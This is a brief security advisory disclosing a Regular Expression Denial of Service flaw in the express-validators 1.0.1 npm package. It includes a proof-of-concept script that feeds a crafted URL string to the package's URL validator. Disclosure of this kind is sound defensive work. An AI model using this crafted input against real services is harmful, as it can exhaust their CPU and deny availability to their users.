express-validators@1.0.1 vulnerabilities

express-validators is an Express framework json object(req) validator.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.

POC:

var expressValidators = require("express-validators");
var Obj = {
    urlValue: "http://--:$$@------------------------------------------------------------------------------------------------------------------------!",
};

var rules = {
    "urlValue": "url",
};

var messages = {
    urlValue:{
        url: "Please enter a valid url address."
    }
};

expressValidators.validator(Obj, rules, messages, function (err, validated) {
    if (validated.fails) {
        console.log(validated.getErrors)
    }
})

There is no fixed version for express-validators.